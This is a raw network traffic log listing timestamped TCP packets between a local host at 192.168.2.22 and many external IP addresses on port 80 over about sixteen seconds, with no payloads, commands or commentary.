Oct 31, 2024 16:04:56.665838003 CET	80	49244	13.251.16.150	192.168.2.22
Oct 31, 2024 16:04:56.665895939 CET	49244	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:04:56.670406103 CET	49246	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:56.675595045 CET	80	49246	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:56.675649881 CET	49246	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:56.675755978 CET	49246	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:56.675781965 CET	49246	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:56.680753946 CET	80	49246	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:56.680883884 CET	80	49246	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:56.762995005 CET	80	49245	85.214.228.140	192.168.2.22
Oct 31, 2024 16:04:56.763021946 CET	80	49245	85.214.228.140	192.168.2.22
Oct 31, 2024 16:04:56.763073921 CET	49245	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:04:56.783701897 CET	49247	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:56.788655996 CET	80	49247	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:56.794039965 CET	49247	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:56.794114113 CET	49247	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:56.794114113 CET	49247	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:56.799067974 CET	80	49247	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:56.799115896 CET	80	49247	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:57.345686913 CET	80	49246	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:57.346106052 CET	49246	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:57.351632118 CET	80	49246	44.221.84.105	192.168.2.22
Oct 31, 2024 16:04:57.351777077 CET	49246	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:04:57.634044886 CET	49248	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:57.641568899 CET	80	49248	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:57.649159908 CET	49248	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:57.651801109 CET	49248	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:57.651992083 CET	49248	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:57.656754017 CET	80	49248	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:57.656795025 CET	80	49248	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:58.221772909 CET	80	49247	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:58.221939087 CET	49247	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:58.228442907 CET	80	49247	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:58.228518009 CET	49247	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:58.238565922 CET	49249	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:58.243573904 CET	80	49249	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:58.243630886 CET	49249	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:58.243942022 CET	49249	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:58.243983030 CET	49249	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:58.248917103 CET	80	49249	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:58.248928070 CET	80	49249	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:58.648849010 CET	80	49248	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:58.649169922 CET	80	49248	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:58.649180889 CET	80	49248	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:58.649260044 CET	49248	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:58.649260998 CET	49248	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:04:58.680751085 CET	80	49248	54.244.188.177	192.168.2.22
Oct 31, 2024 16:04:58.705746889 CET	49250	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:58.711308002 CET	80	49250	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:58.711380005 CET	49250	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:58.711483002 CET	49250	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:58.711514950 CET	49250	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:58.716439962 CET	80	49250	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:58.716756105 CET	80	49250	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:59.137002945 CET	80	49249	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:59.137639046 CET	49249	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:59.142934084 CET	80	49249	34.211.97.45	192.168.2.22
Oct 31, 2024 16:04:59.145950079 CET	49249	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:04:59.246016026 CET	49251	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:59.251327038 CET	80	49251	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:59.251382113 CET	49251	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:59.251524925 CET	49251	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:59.251550913 CET	49251	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:04:59.256724119 CET	80	49251	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:59.256921053 CET	80	49251	47.129.31.212	192.168.2.22
Oct 31, 2024 16:04:59.544291019 CET	80	49250	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:59.548376083 CET	49250	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:59.554913998 CET	80	49250	35.164.78.200	192.168.2.22
Oct 31, 2024 16:04:59.556848049 CET	49250	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:04:59.642209053 CET	49252	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:59.647279024 CET	80	49252	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:59.647345066 CET	49252	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:59.647437096 CET	49252	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:59.647452116 CET	49252	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:04:59.652595043 CET	80	49252	3.94.10.34	192.168.2.22
Oct 31, 2024 16:04:59.652605057 CET	80	49252	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:00.320964098 CET	80	49252	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:00.321118116 CET	49252	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:00.326466084 CET	80	49252	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:00.326540947 CET	49252	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:00.672641993 CET	80	49251	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:00.810002089 CET	49251	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:00.816791058 CET	80	49251	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:00.816874981 CET	49251	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:00.870232105 CET	49253	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:00.875581980 CET	80	49253	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:00.875658035 CET	49253	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:00.875905037 CET	49253	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:00.875940084 CET	49253	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:00.880718946 CET	80	49253	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:00.880836964 CET	80	49253	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:01.541198015 CET	80	49253	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:01.541374922 CET	49253	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:01.546921015 CET	80	49253	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:01.546976089 CET	49253	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:01.568809032 CET	49255	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:01.573721886 CET	80	49255	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:01.573781013 CET	49255	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:01.574070930 CET	49255	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:01.574109077 CET	49255	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:01.579036951 CET	80	49255	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:01.579046965 CET	80	49255	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:01.758569956 CET	49256	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:01.764609098 CET	80	49256	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:01.764662027 CET	49256	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:01.764830112 CET	49256	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:01.764830112 CET	49256	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:01.769737005 CET	80	49256	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:01.769757032 CET	80	49256	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:02.112507105 CET	80	49179	193.122.130.0	192.168.2.22
Oct 31, 2024 16:05:02.112581968 CET	49179	80	192.168.2.22	193.122.130.0
Oct 31, 2024 16:05:02.592302084 CET	80	49256	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:02.592422962 CET	49256	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:02.597980976 CET	80	49256	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:02.598033905 CET	49256	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:02.600763083 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:02.600922108 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:02.605797052 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:02.606240034 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:02.745969057 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:02.746406078 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:02.746432066 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:02.751393080 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:02.751403093 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:02.891999006 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:02.988312960 CET	80	49255	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:02.988488913 CET	49255	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:02.993767977 CET	80	49255	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:02.996047974 CET	49255	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:03.156470060 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:03.266331911 CET	80	49242	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:03.266542912 CET	80	49255	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:03.266597986 CET	49242	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:03.267949104 CET	49255	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:03.541105032 CET	80	49255	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:03.541404963 CET	49257	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:03.541996956 CET	49258	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:03.547009945 CET	80	49257	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:03.547116041 CET	49257	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:03.547226906 CET	49257	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:03.547305107 CET	49257	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:03.547470093 CET	80	49258	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:03.547525883 CET	49258	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:03.547600985 CET	49258	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:03.547600985 CET	49258	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:03.552081108 CET	80	49257	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:03.552349091 CET	80	49257	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:03.552476883 CET	80	49258	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:03.552557945 CET	80	49258	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:04.363286018 CET	80	49258	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:04.363460064 CET	49258	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:04.368807077 CET	80	49258	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:04.368863106 CET	49258	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:04.372275114 CET	49259	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:04.377182961 CET	80	49259	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:04.377239943 CET	49259	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:04.377331972 CET	49259	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:04.377341032 CET	49259	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:04.382188082 CET	80	49259	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:04.384602070 CET	80	49259	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:04.512159109 CET	80	49257	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:04.512339115 CET	49257	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:04.517826080 CET	80	49257	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:04.517868996 CET	49257	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:04.528076887 CET	49260	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:04.532985926 CET	80	49260	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:04.533037901 CET	49260	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:04.533128023 CET	49260	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:04.533138037 CET	49260	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:04.538091898 CET	80	49260	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:04.538101912 CET	80	49260	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:05.372271061 CET	80	49259	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:05.372395039 CET	80	49259	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:05.372428894 CET	80	49259	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:05.372457981 CET	49259	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:05.372519970 CET	49259	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:05.373121023 CET	49259	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:05.377872944 CET	80	49259	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:05.384402990 CET	49261	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:05.389416933 CET	80	49261	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:05.394033909 CET	49261	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:05.394033909 CET	49261	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:05.394267082 CET	49261	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:05.399055004 CET	80	49261	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:05.399324894 CET	80	49261	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:05.531965017 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:05:05.532066107 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:05:05.532066107 CET	49210	80	192.168.2.22	165.160.15.20
Oct 31, 2024 16:05:05.537126064 CET	80	49210	165.160.15.20	192.168.2.22
Oct 31, 2024 16:05:05.947107077 CET	80	49260	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:05.947237015 CET	49260	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:05.952554941 CET	80	49260	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:05.952605009 CET	49260	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:05.961782932 CET	49263	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:05.966792107 CET	80	49263	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:05.966850996 CET	49263	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:05.966959000 CET	49263	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:05.966959000 CET	49263	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:05.971892118 CET	80	49263	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:05.972470999 CET	80	49263	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:06.823203087 CET	80	49261	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:06.823642969 CET	49261	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:06.829037905 CET	80	49261	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:06.829178095 CET	49261	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:06.831998110 CET	49266	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:06.837330103 CET	80	49266	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:06.837471962 CET	49266	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:06.837471962 CET	49266	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:06.837498903 CET	49266	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:06.843816996 CET	80	49266	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:06.843832016 CET	80	49266	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:07.410078049 CET	80	49263	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:07.410536051 CET	49263	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:07.415971994 CET	80	49263	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:07.416052103 CET	49263	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:07.423327923 CET	49267	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:07.428272009 CET	80	49267	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:07.428375959 CET	49267	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:07.428452969 CET	49267	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:07.428452969 CET	49267	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:07.433435917 CET	80	49267	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:07.433449984 CET	80	49267	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:07.547045946 CET	80	49266	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:07.547162056 CET	49266	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:07.552350044 CET	80	49266	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:07.552521944 CET	49266	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:07.555656910 CET	49268	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:07.561423063 CET	80	49268	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:07.561480999 CET	49268	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:07.561558962 CET	49268	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:07.561558962 CET	49268	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:07.567456007 CET	80	49268	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:07.567466021 CET	80	49268	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:08.113147020 CET	80	49267	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:08.113461018 CET	49267	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:08.118715048 CET	80	49267	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:08.118767023 CET	49267	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:08.132158041 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:08.137289047 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:08.137352943 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:08.137526035 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:08.137607098 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:08.142461061 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:08.142471075 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:08.266040087 CET	80	49268	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:08.266201019 CET	49268	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:08.271617889 CET	80	49268	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:08.271795034 CET	49268	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:08.275151014 CET	49270	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:08.280100107 CET	80	49270	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:08.280169010 CET	49270	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:08.280318022 CET	49270	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:08.280330896 CET	49270	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:08.285125017 CET	80	49270	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:08.285145044 CET	80	49270	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:10.017523050 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.017646074 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.017719030 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.017765999 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.017777920 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.017816067 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.017882109 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.017997980 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.018074036 CET	80	49270	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:10.018150091 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.018182993 CET	49269	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.018193960 CET	80	49270	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:10.018256903 CET	49270	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:10.018294096 CET	49270	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:10.022449970 CET	80	49269	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.023428917 CET	80	49270	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:10.023593903 CET	49270	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:10.034698963 CET	49271	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.036385059 CET	49272	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:10.039531946 CET	80	49271	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.039576054 CET	49271	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.039690971 CET	49271	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.039710045 CET	49271	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.041230917 CET	80	49272	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:10.041285992 CET	49272	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:10.041536093 CET	49272	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:10.041548014 CET	49272	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:10.044485092 CET	80	49271	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.045356989 CET	80	49271	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.046313047 CET	80	49272	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:10.046669960 CET	80	49272	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:10.706758976 CET	80	49272	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:10.706918001 CET	49272	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:10.712977886 CET	80	49272	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:10.713032961 CET	49272	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:10.723172903 CET	49273	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:10.728475094 CET	80	49273	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:10.728554010 CET	49273	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:10.728657007 CET	49273	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:10.728657961 CET	49273	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:10.733608961 CET	80	49273	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:10.733618975 CET	80	49273	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:10.869249105 CET	80	49271	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.869405985 CET	49271	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.875005007 CET	80	49271	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:10.875063896 CET	49271	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:10.877717972 CET	49274	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:10.882597923 CET	80	49274	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:10.882680893 CET	49274	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:10.882824898 CET	49274	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:10.882895947 CET	49274	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:10.887686968 CET	80	49274	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:10.888838053 CET	80	49274	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:11.551846027 CET	80	49274	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:11.551965952 CET	49274	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:11.557385921 CET	80	49274	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:11.557441950 CET	49274	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:11.560707092 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:11.565943956 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:11.566014051 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:11.566076994 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:11.566104889 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:11.571014881 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:11.571048021 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:11.585205078 CET	80	49273	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:11.585335016 CET	49273	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:11.591067076 CET	80	49273	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:11.591120005 CET	49273	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:11.599468946 CET	49276	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:11.604345083 CET	80	49276	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:11.604393959 CET	49276	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:11.604485035 CET	49276	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:11.604496956 CET	49276	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:11.609342098 CET	80	49276	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:11.609354973 CET	80	49276	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:12.598907948 CET	80	49276	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:12.599071980 CET	49276	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:12.610227108 CET	80	49276	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:12.610613108 CET	49276	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:12.612380028 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:12.617497921 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:12.617547989 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:12.617623091 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:12.617635012 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:12.922118902 CET	49277	80	192.168.2.22	18.141.10.107
